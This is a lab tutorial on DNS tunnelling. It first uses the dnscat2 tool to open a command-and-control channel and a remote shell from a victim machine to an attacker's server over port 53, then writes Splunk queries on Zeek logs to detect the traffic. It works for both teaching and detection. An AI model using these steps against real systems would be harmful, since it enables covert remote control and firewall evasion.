An attacker has compromised a server. They try to connect out, but every port is blocked by a restrictive firewall…
Except one: Port 53 (DNS).
For most networks, DNS is the one protocol that is always allowed out. Attackers know this, and they exploit it.
By “tunneling” their Command & Control (C2) traffic inside normal-looking DNS queries, they can remain completely hidden. This is a classic Advanced Persistent Threat (APT) technique.
In this guide, we’ll do a full end-to-end exercise. First, we’ll put on our Red Team hat and use dnscat2 to perform the DNS tunneling attack. Then, we'll switch to the Blue Team, ingest our logs into a SIEM, and write the exact queries to hunt for this activity.
DNS stands for Domain Name System, and it’s like the phonebook of the internet. When you type a website address (like www.google.com) into your browser, DNS is the system that translates that human-readable domain name into an IP address (like 172.217.3.110) that computers use to communicate with each other.
DNS Tunneling is a method used to send or receive hidden data by embedding it inside DNS queries and responses. DNS is usually trusted and allowed through firewalls, so attackers use this trick to bypass security systems and communicate with hacked systems.
The dnscat2 tool works in two modes:
Step 1: Install ‘dnscat2’ Server on Attacker Machine
Update package lists
sudo apt update Press enter or click to view image in full size
Install Ruby and Git,
sudo apt install ruby gitPress enter or click to view image in full size
Clone the dnscat2 repo
git clone https://github.com/iagox86/dnscat2.gitPress enter or click to view image in full size
Go into the server directory
cd dnscat2/server Press enter or click to view image in full size
Install Bundler (Ruby dependency manager)
sudo gem install bundler Press enter or click to view image in full size
Install required Ruby gems
sudo bundle install Press enter or click to view image in full size
After this, you can start the DNS server with:
sudo ruby ./dnscat2.rbPress enter or click to view image in full size
Step 2: Install the dnscat2 Client on the Victim
Join Medium for free to get updates from this writer.
Install Go and Git
sudo apt install golang gitPress enter or click to view image in full size
Clone the dnscat2 repo
git clone https://github.com/iagox86/dnscat2.git Press enter or click to view image in full size
Go into the client directory
cd dnscat2/clientsudo apt-get install make Press enter or click to view image in full size
Compile the client
make Press enter or click to view image in full size
Once the compilation is complete, you will be able to use the dnscat2 client tool on the target machine.
Before this, we had already started the dnscat2 server on the attacker machine. When you run the server, it will display a command that needs to be executed on the client side.
Press enter or click to view image in full size
Copy the command, navigate to the dnscat2/client directory, paste the command, and replace the IP address in the server field with the attacker’s IP address.
Press enter or click to view image in full size
Once you run the command on the target machine and it shows “session established,” it means the target machine has successfully connected to the attacker’s server.
When you go back to the attacker machine (DNS server), it will show “new window created: 1”, which means the target machine has successfully connected to the attacker’s system.
Press enter or click to view image in full size
The next step is to control the target system remotely. To do this, we need to get a shell on the target machine. Follow the upcoming stages carefully to establish a remote shell and begin controlling the target system.
Enter “sessions”, and it will show you active sessions on the server
sessions Press enter or click to view image in full size
Next, use the active session
session -i 1Press enter or click to view image in full size
Enter “shell”, and it will create a new shell session on the target machine. Through this session, you can enter commands here, and they will be executed on the target system.
shellPress enter or click to view image in full size
A new shell session has been created. The next step is to use that session to interact with the target machine.
session -i 2 Press enter or click to view image in full size
Now that we have successfully obtained the target shell, let’s see how the data packets between these two devices are transmitted through Wireshark.
When you filter for DNS, you will be able to see several DNS packets passing between the attacker machine and the target.
Press enter or click to view image in full size
By examining the DNS packet query, you can observe that the requested domain is encoded.
Press enter or click to view image in full size
This means that any command or activity entered on the attacker machine will be encoded and added to the query field, then sent to the target. The target machine performs the same encoding and sends the query back to the attacker.
Now we have set up the lab and performed a basic DNS tunneling attack to understand how it works. Next, we will focus on detecting this activity using a SIEM by creating a custom alert. When triggered, this alert will notify us of suspicious DNS tunneling behavior.
To do this, I am using Zeek as the log source and Splunk as the SIEM. My Zeek instance is installed on Ubuntu.
If you haven’t set up Zeek yet, follow this blog: “Zeek Setup Guide”
If you haven’t set up Splunk yet, follow this blog: “Splunk Setup Guide.”
You can view the DNS logs on the Ubuntu system (target machine) at the following location /opt/zeek/logs/current/dns.log
Press enter or click to view image in full size
We can forward this log to the SIEM for analysis and alerting.
sudo /opt/splunkforwarder/bin/splunk add monitor /opt/zeek/logs/current/dns.logPress enter or click to view image in full size
Press enter or click to view image in full size
When we look at the logs, the “query” field contains the domain names entered by the user. In the case of DNS tunneling, the data is encoded and inserted into the “query” field. This results in unusually long domain names. By analyzing the length of DNS queries, we can detect abnormal entries—queries that are significantly longer than usual—indicating potential tunneling activity.
index=* | eval Query_Lengh = len(query)
| where Query_Lengh > 30
| table id.orig_h, id.resp_h, query, Query_LenghThis SPL query will return DNS queries with a length greater than 30, along with the sender device IP, receiver device IP, the query itself, and its length all in a table format.
Press enter or click to view image in full size
Previously, we observed multiple DNS queries with a length greater than 30. We can use the same SPL query to create an alert in Splunk.
index=* | eval Query_Lengh = len(query)
| where Query_Lengh > 30Press enter or click to view image in full size
Perform some activity using the dnscat2 server (C2C server) to generate DNS tunneling traffic.
Press enter or click to view image in full size
We successfully triggered the alert. However, not every log with a long DNS query indicates DNS tunneling some of them may be genuine. Sometimes, users or systems may query domains longer than 30 characters for legitimate reasons. As a Security Analyst or SOC Analyst, your job is to investigate further and determine whether it’s actually DNS tunneling or just normal communication.